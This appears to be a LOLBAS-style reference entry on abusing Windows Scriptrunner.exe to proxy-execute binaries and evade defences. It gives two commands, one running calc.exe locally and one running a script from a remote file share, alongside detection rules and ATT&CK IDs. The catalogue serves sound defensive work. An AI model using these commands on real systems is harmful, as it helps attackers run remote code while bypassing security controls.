

# .. /Scriptrunner.exe

Execute

Execute binary through proxy binary to evade defensive counter measures

## Paths:

C:\Windows\System32\scriptrunner.exe  
C:\Windows\SysWOW64\scriptrunner.exe

## Resources:

- <https://twitter.com/KyleHanslovan/status/914800377580503040>
- <https://twitter.com/NickTyrer/status/914234924655312896>
- <https://github.com/MoooKitty/Code-Execution>

## Acknowledgements:

- Nick Tyrer ([@nicktyrer](#))

## Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process\\_creation/proc\\_creation\\_win\\_servu\\_susp\\_child\\_process.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml)
- IOC: Scriptrunner.exe should not be in use unless App-v is deployed

## Execute

. Executes calc.exe

```
Scriptrunner.exe -appvscript calc.exe
```

**Use case:** Execute binary through proxy binary to evade defensive counter measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1202

. Executes calc.cmd from remote server

```
ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
```

**Use case:** Execute binary through proxy binary from external server to evade defensive counter measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1218